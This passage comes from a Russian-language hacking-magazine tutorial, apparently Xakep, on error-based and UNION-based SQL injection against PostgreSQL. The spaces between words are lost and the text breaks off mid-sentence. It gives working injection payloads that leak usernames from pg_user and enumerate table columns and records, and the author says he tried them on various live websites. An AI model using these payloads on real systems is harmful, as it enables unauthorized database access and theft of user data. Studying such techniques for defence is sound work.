Номызнаем, чтоошибкувыдаетпреобразованиетипаtext втипboolean. Ачтонаммешаетсделатьдвойноепреобразование?
id=10;SELECT CAST(CAST(usename AS text) AS boolean) from pg_user
Первойфункциеймыпереводимname вtext, авторойtext в boolean. Врезультатеполучаемошибку:
Query failed: ERROR: invalid input syntax for type boolean: "admin"
Стоитзаметить, чтооператорlimit имеетвPostgreSQL другойвидисостоитиздвухчастей:
LIMIT — числозаписей, котороебудетвыведеноизБД. OFFSET — номерзаписи, начинаяскоторойбудетпроисходитьвывод(0 — началоотсчета).
Итак, мынашлиимятаблицы, — пустьэтобудетusers. Узнаемименаполейзапросом:
id=-1 UNION SELECT null,null,column_name,null FROM information_schema.columns WHERE table_ name='users' LIMIT 1 OFFSET 0
Нуадальшевыводим, также, какивMySQL (тольконезабы-
вайпротипыиlimit offset).
РАЗДЕЛЯЙИВЛАСТВУЙ
ДоэтогомоментамырассматриваликлассическуюинъекциюсиспользованиемоператораUNION. Сейчасяпокажу тебеболееинтересныеспособы.
Большинствоизнижеописанногобудетработать, еслиу текущегопользователяестьправаusesuper. Замечу, что такоетутвстречаетсянамногочаще, чемвMySQL. Одиниз
Прииспользованииэтогоспособаестьоднаособенность. Мынеможемвыводитьинтересующуюнасзапись, используяlimit offset. Дляэтогонампотребуетсясоставить конструкциюwhere columnname not in (). Предположим, что предыдущийзапросвернулзаписьadmin. Тогдасоставим такой:
id=10;SELECT CAST(CAST(usename AS text) AS boolean) FROM pg_user WHERE usename NOT IN ('admin')
Такимобразом, мыможемперебратьвсесодержимое таблицы. Тестируяэтотметоднаразличныхсайтах, ястолкнулсяспроблемой, которуюможнообъяснитьразличиемв версиях. Заключаетсяонавпреобразованиитипаboolean в любойдругойтип. Вофициальнойдокументациисказано:
Values of the boolean type cannot be cast directly to other types (e.g., CAST (boolval AS integer) does not work)
Несмотрянаэто,уполовинытестируемыхсайтов,запросвида:
078 |
XÀÊÅÐ 10 /130/ 09 |